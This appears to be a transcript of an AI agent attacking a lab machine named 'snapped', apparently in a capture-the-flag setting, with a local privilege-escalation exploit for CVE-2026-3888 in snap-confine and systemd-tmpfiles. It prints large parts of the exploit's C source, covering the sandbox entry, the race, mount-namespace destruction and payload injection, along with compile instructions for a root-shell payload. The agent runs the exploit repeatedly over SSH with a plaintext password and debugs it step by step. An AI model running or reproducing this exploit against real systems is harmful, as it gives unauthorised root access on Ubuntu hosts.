209: printf("\n[!] TRIGGER — swapping directories...\n");
224: printf("[+] SWAP DONE — race won!\n");
254: printf("[-] Race lost — trigger string not detected.\n");
275: printf("[-] Could not read poison PID from race_pid.txt\n");
285: printf("[*] ld-linux in namespace: %s\n", perms);
290: printf("[+] Poisoned namespace PID: %d\n", poison_pid);
295: * Phase 1 — Enter the Firefox sandbox
304: printf("\n[Phase 1] Entering Firefox sandbox...\n");
330: snprintf(probe, sizeof(probe), "/proc/%d/cwd", child);
333: printf("[-] Cannot reach inner shell at %s\n", probe);
338: printf("[+] Inner shell PID: %d\n", child);
343: * Phase 2 — Wait for systemd-tmpfiles to delete .snap
352: printf("\n[Phase 2] Waiting for .snap deletion...\n");
355: snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner);
359: printf("[+] .snap already gone!\n");
364: printf("[*] --skip-wait: triggering cleanup...\n");
369: printf("[+] .snap deleted after manual trigger.\n");
371: printf("[!] .snap still present — continuing anyway.\n");
373: printf("[*] Polling (up to 30 days on stock Ubuntu).\n");
374: printf("[*] Hint: use -s to skip.\n");
377: printf("[!] Inner shell died — re-entering...\n");
383: printf("[+] .snap deleted.\n");
388: printf("[!] Inner shell died from cleanup. Re-entering...\n");
397: * Phase 3 — Destroy the cached mount namespace
406: printf("\n[Phase 3] Destroying cached mount namespace...\n");
409: snprintf(cmd, sizeof(cmd),
419: printf("[+] Namespace destroyed.\n");
424: * Phase 4 — Win the race
433: printf("\n[Phase 4] Setting up and running the race...\n");
436: snprintf(cwd, sizeof(cwd), "/proc/%d/cwd", inner);
441: printf("[*] Working directory: %s\n", cwd);
443: printf("[*] Building .snap and .exchange...\n");
446: printf("[*] Starting race...\n");
451: * Phase 5 — Inject the payload into the poisoned namespace
I see - the exploit prints Phase markers but the output only contains debug info from snap-confine. The exploit must have crashed early or the exploit's own output went to stderr. Let me kill the existing processes and re-run without debug mode, and redirect both stdout and stderr.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'pkill -f "exploit" 2>/dev/null; pkill -f "sleep 86400" 2>/dev/null; pkill -f "sleep 99994" 2>/dev/null; rm -f /tmp/exploit_output.txt; sleep 2; cd /home/jonathan && nohup ./exploit ./librootshell.so > /tmp/exploit_out.txt 2>&1 & echo "PID: $!"' 2>/dev/null$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'pkill -9 -f exploit 2>/dev/null; pkill -9 -f "sleep 86400" 2>/dev/null; pkill -9 -f "sleep 99994" 2>/dev/null; sleep 1; rm -f /tmp/exploit_out.txt' 2>/dev/null$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep exploit | grep -v grep; echo "---"' 2>/dev/null---
Good, old exploit processes are gone. Let me start fresh.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cd /home/jonathan && ./exploit ./librootshell.so > /tmp/exploit_out.txt 2>&1 &' 2>/dev/null; sleep 10; sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_out.txt 2>/dev/null' 2>/dev/null================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/./librootshell.so (9152 bytes)
[Phase 1] Entering Firefox sandbox...
[-] Cannot reach inner shell at /proc/8195/cwd
The inner shell can't be reached. Let me check what's happening - maybe the sandbox creation is failing.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep -E "snap|sh -c|busybox" | grep jonathan | grep -v grep' 2>/dev/nulljonathan 8488 20.8 0.1 1229048 5288 ? Rsl 07:35 0:00 /usr/lib/snapd/snap-exec snapd-desktop-integration
The exploit seems to use snapd-desktop-integration as the entry point, not Firefox directly. Let me look at the source code more carefully to understand the Phase 1 entry.
$ sed -n '295,400p' /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c * Phase 1 — Enter the Firefox sandbox
*
* Forks a child that execs snap-confine → /bin/sh.
* The shell cd's to /tmp, waits for .snap to be deleted, then sleeps.
* Returns the child PID (= the inner shell PID after exec chain).
* =================================================================*/
static pid_t phase1_enter_sandbox(void)
{
printf("\n[Phase 1] Entering Firefox sandbox...\n");
pid_t child = fork();
if (child < 0) { perror("fork"); return -1; }
if (child == 0) {
if (!g_debug) {
int nul = open("/dev/null", O_WRONLY);
if (nul >= 0) { dup2(nul, STDERR_FILENO); close(nul); }
}
clearenv();
setenv("SNAP_INSTANCE_NAME", "firefox", 1);
execl(SNAP_CONFINE, "snap-confine",
"--base", "core22",
"snap.firefox.hook.configure",
"/bin/sh", "-c",
"cd /tmp; "
"while test -d ./.snap; do touch ./; sleep 5; done; "
"sleep 86400",
NULL);
_exit(1);
}
sleep(3); /* let the inner shell start and cd to /tmp */
char probe[256];
snprintf(probe, sizeof(probe), "/proc/%d/cwd", child);
struct stat st;
if (stat(probe, &st) < 0) {
printf("[-] Cannot reach inner shell at %s\n", probe);
waitpid(child, NULL, WNOHANG);
return -1;
}
printf("[+] Inner shell PID: %d\n", child);
return child;
}
/* ===================================================================
* Phase 2 — Wait for systemd-tmpfiles to delete .snap
*
* Polls /proc/<inner>/root/tmp/.snap until it vanishes.
* If the inner shell dies (cleanup killed snap-private-tmp),
* re-enters the sandbox and returns the new PID.
* =================================================================*/
static pid_t phase2_wait_for_cleanup(pid_t inner, int skip)
{
printf("\n[Phase 2] Waiting for .snap deletion...\n");
char path[256];
snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner);
struct stat st;
if (stat(path, &st) != 0) {
printf("[+] .snap already gone!\n");
return inner;
}
if (skip) {
printf("[*] --skip-wait: triggering cleanup...\n");
system("systemctl start systemd-tmpfiles-clean.service "
"2>/dev/null");
sleep(5);
if (stat(path, &st) != 0)
printf("[+] .snap deleted after manual trigger.\n");
else
printf("[!] .snap still present — continuing anyway.\n");
} else {
printf("[*] Polling (up to 30 days on stock Ubuntu).\n");
printf("[*] Hint: use -s to skip.\n");
while (stat(path, &st) == 0) {
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died — re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
sleep(5);
}
printf("[+] .snap deleted.\n");
}
/* Re-enter if the shell was killed by cleanup */
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died from cleanup. Re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
return inner;
}
/* ===================================================================
* Phase 3 — Destroy the cached mount namespace
*
* Runs snap-confine with an invalid base ("snapd") which tears down
* the cached namespace for firefox. Next invocation rebuilds from
I see - the exploit enters the Firefox sandbox by calling snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "...". The problem is that the inner shell couldn't be reached. This is likely because snap-confine needs special permissions. Let me check if the exploit ran snap-confine properly.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /tmp/snap.rootfs_* 2>/dev/null; ls -la /tmp/snap-private-tmp/ 2>/dev/null; ls -la /run/snapd/ns/ 2>/dev/null' 2>/dev/nulltotal 120
drwxr-xr-x 2 root root 160 Apr 9 07:30 .
drwxr-xr-x 4 root root 80 Apr 9 07:05 ..
-r--r--r-- 1 root root 0 Apr 9 07:30 firefox.mnt
-r--r--r-- 1 root root 0 Apr 9 07:05 snapd-desktop-integration.mnt
-rw-r--r-- 1 root root 55003 Apr 9 07:30 snap.firefox.fstab
-rw-r--r-- 1 root root 22 Apr 9 07:30 snap.firefox.info
-rw-r--r-- 1 root root 56751 Apr 9 07:05 snap.snapd-desktop-integration.fstab
-rw-r--r-- 1 root root 22 Apr 9 07:05 snap.snapd-desktop-integration.info
The first run actually did create the Firefox namespace. The issue is that the probe /proc//cwd failed after 3 seconds because snap-confine takes longer to set up. Let me try with more sleep time or try the -s flag since .snap may already exist.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /tmp/snap-private-tmp/ 2>/dev/null' 2>/dev/null$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /proc/*/root/tmp/.snap 2>/dev/null; stat /tmp/snap-private-tmp 2>/dev/null; find /tmp -name ".snap" -maxdepth 3 2>/dev/null' 2>/dev/null File: /tmp/snap-private-tmp
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261810 Links: 3
Access: (0700/drwx------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-04-09 07:26:27.478093778 -0400
Modify: 2026-04-09 07:26:27.478605797 -0400
Change: 2026-04-09 07:26:27.478605797 -0400
Birth: 2026-04-09 07:26:27.478093778 -0400
The /tmp/snap-private-tmp exists but only root can access it. The exploit needs to be inside the sandbox to see the .snap directory. Let me look more at the source to understand how it accesses the inner shell's CWD.
The issue is that after the first snap-confine run, the child may have been reaped. Let me look at the error more carefully. The exploit ran snap-confine, but after 3 seconds, the stat on /proc//cwd failed. This could mean the child died during snap-confine setup.
Let me try running snap-confine manually to see if it works:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'timeout 15 /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "id; echo INSIDE_SHELL" 2>&1 | tail -20' 2>/dev/nullSNAP_INSTANCE_NAME is not set
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox timeout 30 /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "id; echo INSIDE_SHELL" 2>&1 | tail -30' 2>/dev/nulltimeout: the monitored command dumped core
Snap-confine is crashing (core dump). Let me try to understand why. The issue might be that the sandbox was already created and is stale.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'dmesg 2>/dev/null | tail -30; echo "---JOURNAL---"; journalctl --user -n 20 2>/dev/null' 2>/dev/null---JOURNAL---
Apr 09 07:37:13 snapped systemd[9743]: Reached target default.target - Main User Target.
Apr 09 07:37:13 snapped systemd[9743]: Startup finished in 328ms.
Apr 09 07:37:13 snapped systemd[9743]: Starting dbus.service - D-Bus User Message Bus...
Apr 09 07:37:13 snapped dbus-daemon[9789]: [session uid=1000 pid=9789] AppArmor D-Bus mediation is enabled
Apr 09 07:37:13 snapped systemd[9743]: Started dbus.service - D-Bus User Message Bus.
Apr 09 07:37:13 snapped dbus-daemon[9789]: [session uid=1000 pid=9789] Activating via systemd: service name='org.freedesktop.portal.Documents' unit='xdg-document-portal.service' requested by ':1.5' (uid=1000 pid=9761 comm="/usr/bin/snap run snapd-desktop-integration" label="unconfined")
Apr 09 07:37:13 snapped systemd[9743]: Starting xdg-document-portal.service - flatpak document portal service...
Apr 09 07:37:13 snapped pipewire[9756]: mod.jackdbus-detect: Failed to receive jackdbus reply: org.freedesktop.DBus.Error.ServiceUnknown: The name org.jackaudio.service was not provided by any .service files
Apr 09 07:37:13 snapped wireplumber[9772]: SPA handle 'api.libcamera.enum.manager' could not be loaded; is it installed?
Apr 09 07:37:13 snapped wireplumber[9772]: PipeWire's libcamera SPA missing or broken. libcamera not supported.
Apr 09 07:37:13 snapped dbus-daemon[9789]: [session uid=1000 pid=9789] Activating via systemd: service name='org.freedesktop.impl.portal.PermissionStore' unit='xdg-permission-store.service' requested by ':1.10' (uid=1000 pid=9818 comm="/usr/libexec/xdg-document-portal" label="unconfined")
Apr 09 07:37:13 snapped systemd[9743]: Starting xdg-permission-store.service - sandboxed app permission store...
Apr 09 07:37:13 snapped wireplumber[9772]: BlueZ system service is not available
Apr 09 07:37:13 snapped dbus-daemon[9789]: [session uid=1000 pid=9789] Successfully activated service 'org.freedesktop.impl.portal.PermissionStore'
Apr 09 07:37:13 snapped systemd[9743]: Started xdg-permission-store.service - sandboxed app permission store.
Apr 09 07:37:13 snapped dbus-daemon[9789]: [session uid=1000 pid=9789] Successfully activated service 'org.freedesktop.portal.Documents'
Apr 09 07:37:13 snapped systemd[9743]: Started xdg-document-portal.service - flatpak document portal service.
Apr 09 07:37:13 snapped xdg-document-portal[9818]: Ignoring invalid max threads value 4294967295 > max (100000).
Apr 09 07:37:13 snapped snapd-desktop-integration.snapd-desktop-integration[9883]: ln: failed to create symbolic link '/home/jonathan/snap/snapd-desktop-integration/178/.config/dconf/user': File exists
Apr 09 07:37:13 snapped snapd-desktop-i[9886]: Failed to do gtk init. Waiting for a new session with desktop capabilities.
Let me check the snap-confine crash with more debug info:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=firefox timeout 30 /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "id; echo OK" 2>&1 | tail -50' 2>/dev/nullDEBUG: sanity timeout reset and disabled
DEBUG: preserved mount is not stale, reusing
DEBUG: joined preserved mount namespace firefox
DEBUG: joining preserved per-user mount namespace
DEBUG: unsharing the mount namespace (per-user)
DEBUG: sc_setup_user_mounts: firefox
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: calling snapd tool snap-update-ns
DEBUG: DEBUG: waiting for snapd tool snap-update-ns to terminate
requesting changing of apparmor profile on next exec to snap-update-ns.firefox
logger.go:93: DEBUG: current mount entries
logger.go:93: DEBUG: desired mount entries (sorted)
logger.go:93: DEBUG: - /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: desiredIDs: map[/run/user/1000/doc:true]
logger.go:93: DEBUG: reuse: map[]
logger.go:93: DEBUG: processing mount entries
logger.go:93: DEBUG: adding independent entry: /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: all mimics:
logger.go:93: DEBUG: mount entries ordered as they will be applied
logger.go:93: DEBUG: - /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: mount name:"/run/user/1000/doc/by-app/snap.firefox" dir:"/run/user/1000/doc" type:"none" opts:MS_BIND unparsed:"" (error: <nil>)
DEBUG: snap-update-ns finished successfully
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: NOT preserving per-user mount namespace
DEBUG: releasing lock 7
DEBUG: sending command 0 to helper process (pid: 10078)
DEBUG: DEBUG: waiting for response from helper
sanity timeout reset and disabled
DEBUG: helper process received command 0
DEBUG: DEBUG: helper process exitingwaiting for the helper process to exit
DEBUG: helper process exited normally
DEBUG: resetting PATH to values in sync with core snap
DEBUG: -- snap startup {"stage":"snap-confine mount namespace finish", "time":"1775734644.675384"}
DEBUG: set_effective_identity uid:1000 (change: yes), gid:1000 (change: yes)
DEBUG: requesting changing of apparmor profile on next exec to snap.firefox.hook.configure
DEBUG: ruid: 1000, euid: 1000, suid: 0
DEBUG: setting capabilities bounding set
DEBUG: regaining SYS_ADMIN
DEBUG: loading bpf program for security tag snap.firefox.hook.configure
DEBUG: read 152 bytes from /var/lib/snapd/seccomp/bpf/global.bin
DEBUG: clearing SYS_ADMIN
DEBUG: execv(/bin/sh, /bin/sh...)
DEBUG: argv[1] = -c
DEBUG: argv[2] = id; echo OK
DEBUG: umask restored to 02
DEBUG: working directory restored to /home/jonathan
DEBUG: -- snap startup {"stage":"snap-confine to snap-exec", "time":"1775734644.677439"}
timeout: the monitored command dumped core
It's reusing the preserved mount namespace and then crash/dumping core when trying to execute /bin/sh. The core dump is because the shell inside the sandbox is likely from the core22 snap which might not have a proper /bin/sh. But wait - it gets to execv(/bin/sh, /bin/sh...) and then dumps core. This might actually be the shell inside the sandbox working but then crashing. Let me check if the issue is with the shell binary itself.
Actually, looking more carefully, the issue might be that /bin/sh inside the sandbox is a busybox or something that's crashing. Let me try running it with a different approach - perhaps the first run worked but then got cleaned up. Let me re-try the exploit with a longer wait:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox SNAPD_DEBUG=1 timeout 30 /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "echo hello_from_sandbox; id; ls /tmp/" 2>&1' 2>/dev/nullDEBUG: -- snap startup {"stage":"snap-confine enter", "time":"1775734660.024562"}
DEBUG: umask reset, old umask was 02
DEBUG: security tag: snap.firefox.hook.configure
DEBUG: executable: /bin/sh
DEBUG: confinement: non-classic
DEBUG: base snap: core22
DEBUG: ruid: 1000, euid: 0, suid: 0
DEBUG: rgid: 1000, egid: 1000, sgid: 1000
DEBUG: apparmor label on snap-confine is: /usr/lib/snapd/snap-confine
DEBUG: apparmor mode is: enforce
DEBUG: -- snap startup {"stage":"snap-confine mount namespace start", "time":"1775734660.025176"}
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope (global), uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: ensuring that snap mount directory is shared
DEBUG: unsharing snap namespace directory
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: releasing lock 5
DEBUG: opened snap-update-ns executable as file descriptor 5
DEBUG: opened snap-discard-ns executable as file descriptor 6
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/firefox.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope firefox, uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: initializing mount namespace: firefox
DEBUG: device cgroup not required due to base core22
DEBUG: setting up device cgroup, mode "optional"
DEBUG: libudev has current tags support
DEBUG: no devices tagged with snap_firefox_hook_configure, skipping device cgroup setup
DEBUG: DEBUG: forked support process 10270
DEBUG: changing apparmor hat to mount-namespace-capture-helper
DEBUG: helper process waiting for command
DEBUG: sanity timeout initialized and set for 30 seconds
block device of snap core22, revision 1564 is 7:1
DEBUG: DEBUG: sanity timeout initialized and set for 30 seconds
joining preserved mount namespace for inspection
DEBUG: found base snap device 7:1 on /usr
DEBUG: sanity timeout reset and disabled
DEBUG: preserved mount is not stale, reusing
DEBUG: joined preserved mount namespace firefox
DEBUG: joining preserved per-user mount namespace
DEBUG: unsharing the mount namespace (per-user)
DEBUG: sc_setup_user_mounts: firefox
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: calling snapd tool snap-update-ns
DEBUG: waiting for snapd tool snap-update-ns to terminate
DEBUG: requesting changing of apparmor profile on next exec to snap-update-ns.firefox
logger.go:93: DEBUG: current mount entries
logger.go:93: DEBUG: desired mount entries (sorted)
logger.go:93: DEBUG: - /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: desiredIDs: map[/run/user/1000/doc:true]
logger.go:93: DEBUG: reuse: map[]
logger.go:93: DEBUG: processing mount entries
logger.go:93: DEBUG: adding independent entry: /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: all mimics:
logger.go:93: DEBUG: mount entries ordered as they will be applied
logger.go:93: DEBUG: - /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: mount name:"/run/user/1000/doc/by-app/snap.firefox" dir:"/run/user/1000/doc" type:"none" opts:MS_BIND unparsed:"" (error: <nil>)
DEBUG: snap-update-ns finished successfully
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: NOT preserving per-user mount namespace
DEBUG: releasing lock 7
DEBUG: sending command 0 to helper process (pid: 10270)
DEBUG: sanity timeout reset and disabled
DEBUG: helper process received command 0
DEBUG: helper process exiting
DEBUG: waiting for response from helper
DEBUG: waiting for the helper process to exit
DEBUG: helper process exited normally
DEBUG: resetting PATH to values in sync with core snap
DEBUG: -- snap startup {"stage":"snap-confine mount namespace finish", "time":"1775734660.043854"}
DEBUG: set_effective_identity uid:1000 (change: yes), gid:1000 (change: yes)
DEBUG: requesting changing of apparmor profile on next exec to snap.firefox.hook.configure
DEBUG: ruid: 1000, euid: 1000, suid: 0
DEBUG: setting capabilities bounding set
DEBUG: regaining SYS_ADMIN
DEBUG: loading bpf program for security tag snap.firefox.hook.configure
DEBUG: read 152 bytes from /var/lib/snapd/seccomp/bpf/global.bin
DEBUG: clearing SYS_ADMIN
DEBUG: execv(/bin/sh, /bin/sh...)
DEBUG: argv[1] = -c
DEBUG: argv[2] = echo hello_from_sandbox; id; ls /tmp/
DEBUG: umask restored to 02
DEBUG: working directory restored to /home/jonathan
DEBUG: -- snap startup {"stage":"snap-confine to snap-exec", "time":"1775734660.046172"}
timeout: the monitored command dumped core
The sandbox reuses the existing namespace and then /bin/sh (which is actually core22's /bin/sh = dash) crashes. Exit code 139 = SIGSEGV. This is because the preserved namespace was already there from the previous run and the .snap mimic directory structure may have been corrupted.
Let me first destroy the existing namespace:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /bin/true 2>&1; echo "EXIT: $?"' 2>/dev/null/user.slice/user-1000.slice/session-69.scope is not a snap cgroup
EXIT: 1
The issue is the cgroup. The exploit uses a cgroup with "snap" in the name. Let me check what cgroup we're in:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /proc/self/cgroup' 2>/dev/null0::/user.slice/user-1000.slice/session-71.scope
The cgroup is session-71.scope which doesn't contain "snap". The exploit needs to create a cgroup with "snap" in the name. Let me look at the source to see how it handles this:
$ grep -n "cgroup\|CGROUP" /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c | head -30611: * (especially snap-confine invocations) satisfy the cgroup
$ sed -n '600,680p' /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c perror("[!] execl");
} else {
printf("\n[-] Exploit did not produce a SUID shell.\n");
printf(" Check manually: ls -la %s\n", SUID_BASH);
}
}
int main(int argc, char *argv[])
{
/*
* Re-exec under a systemd user scope so that all child processes
* (especially snap-confine invocations) satisfy the cgroup
* requirement. The env var prevents infinite recursion.
*/
if (getenv("CVE_2026_3888_SCOPED") == NULL) {
setenv("CVE_2026_3888_SCOPED", "1", 1);
char self[4096];
ssize_t len = readlink("/proc/self/exe", self, sizeof(self) - 1);
if (len > 0) {
self[len] = '\0';
char unit[64];
snprintf(unit, sizeof(unit),
"--unit=snap.cve3888.main.%d", getpid());
int nargs = 6 + argc; /* sysrun args + "--" + self + user args */
char **nv = calloc(nargs, sizeof(char *));
nv[0] = "systemd-run";
nv[1] = "--user";
nv[2] = "--scope";
nv[3] = "--quiet";
nv[4] = unit;
nv[5] = "--";
nv[6] = self;
for (int i = 1; i < argc; i++)
nv[6 + i] = argv[i];
nv[6 + argc] = NULL;
execvp("systemd-run", nv);
/* If it fails, fall through and try without scope */
free(nv);
fprintf(stderr, "[!] systemd-run unavailable — "
"continuing without scope\n");
}
}
printf("================================================================\n"
" CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE\n"
"================================================================\n");
if (argc < 2) {
fprintf(stderr,
"\nUsage: %s <librootshell.so> [-d] [-s]\n\n"
" librootshell.so Compiled payload (replaces ld-linux)\n"
" -d Show snap-confine debug output\n"
" -s Skip .snap cleanup wait. Requires root password.\n\n"
"Compile payload:\n"
" gcc -nostdlib -static -Wl,--entry=_start "
"-o librootshell.so librootshell_suid.c\n\n"
"Compile this exploit:\n"
" gcc -O2 -static -o exploit exploit_suid.c\n\n",
argv[0]);
return 1;
}
int skip_wait = 0;
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-d") == 0)
g_debug = 1;
else if (strcmp(argv[i], "-s") == 0)
skip_wait = 1;
}
getcwd(g_orig_cwd, sizeof(g_orig_cwd));
/* Resolve librootshell.so to absolute path (we chdir later) */
if (argv[1][0] == '/')
strncpy(g_librootshell, argv[1], sizeof(g_librootshell) - 1);
else
snprintf(g_librootshell, sizeof(g_librootshell),
"%s/%s", g_orig_cwd, argv[1]);
The exploit re-execs itself under systemd-run --user --scope --unit=snap.cve3888.main. to get the proper cgroup. This is the key. But it seems the exploit might not have gotten to that point properly. Let me run it directly with systemd-run:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'systemd-run --user --scope --unit=snap.cve3888.test -- /home/jonathan/exploit /home/jonathan/librootshell.so > /tmp/exploit_out2.txt 2>&1 &' 2>/dev/null; sleep 15; sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_out2.txt 2>/dev/null' 2>/dev/nullRunning as unit: snap.cve3888.test.scope; invocation ID: 0fd1e149f3a74c30a7130f826003b82f
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/librootshell.so (9152 bytes)
[Phase 1] Entering Firefox sandbox...
[-] Cannot reach inner shell at /proc/10792/cwd
Still failing. The inner shell can't be reached. The issue is that snap-confine creates the sandbox but then the shell crashes. Let me check if there's a seccomp/AppArmor issue or if the preserved namespace is stale:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox SNAPD_DEBUG=1 systemd-run --user --scope --unit=snap.cve3888.debug -- /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "echo HELLO_SANDBOX; ls /tmp/; id" 2>&1 | tail -30' 2>/dev/nulllogger.go:93: DEBUG: mount entries ordered as they will be applied
logger.go:93: DEBUG: - /run/user/1000/doc/by-app/snap.firefox /run/user/1000/doc none bind,rw,x-snapd.ignore-missing 0 0
logger.go:93: DEBUG: mount name:"/run/user/1000/doc/by-app/snap.firefox" dir:"/run/user/1000/doc" type:"none" opts:MS_BIND unparsed:"" (error: <nil>)
DEBUG: snap-update-ns finished successfully
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: NOT preserving per-user mount namespace
DEBUG: releasing lock 7
DEBUG: sending command 0 to helper process (pid: 11195)
DEBUG: sanity timeout reset and disabled
DEBUG: helper process received command 0
DEBUG: DEBUG: helper process exitingwaiting for response from helper
DEBUG: waiting for the helper process to exit
DEBUG: helper process exited normally
DEBUG: resetting PATH to values in sync with core snap
DEBUG: -- snap startup {"stage":"snap-confine mount namespace finish", "time":"1775734740.867306"}
DEBUG: set_effective_identity uid:1000 (change: yes), gid:1000 (change: yes)
DEBUG: requesting changing of apparmor profile on next exec to snap.firefox.hook.configure
DEBUG: ruid: 1000, euid: 1000, suid: 0
DEBUG: setting capabilities bounding set
DEBUG: regaining SYS_ADMIN
DEBUG: loading bpf program for security tag snap.firefox.hook.configure
DEBUG: read 152 bytes from /var/lib/snapd/seccomp/bpf/global.bin
DEBUG: clearing SYS_ADMIN
DEBUG: execv(/bin/sh, /bin/sh...)
DEBUG: argv[1] = -c
DEBUG: argv[2] = echo HELLO_SANDBOX; ls /tmp/; id
DEBUG: umask restored to 02
DEBUG: working directory restored to /home/jonathan
DEBUG: -- snap startup {"stage":"snap-confine to snap-exec", "time":"1775734740.869896"}
It says "Running as unit" then shows the snap-confine debug output. But the output doesn't show HELLO_SANDBOX. This means the shell is being exec'd but crashes. The preserved mount namespace seems to be corrupt from the previous attempts.
Let me destroy the namespace and start fresh:
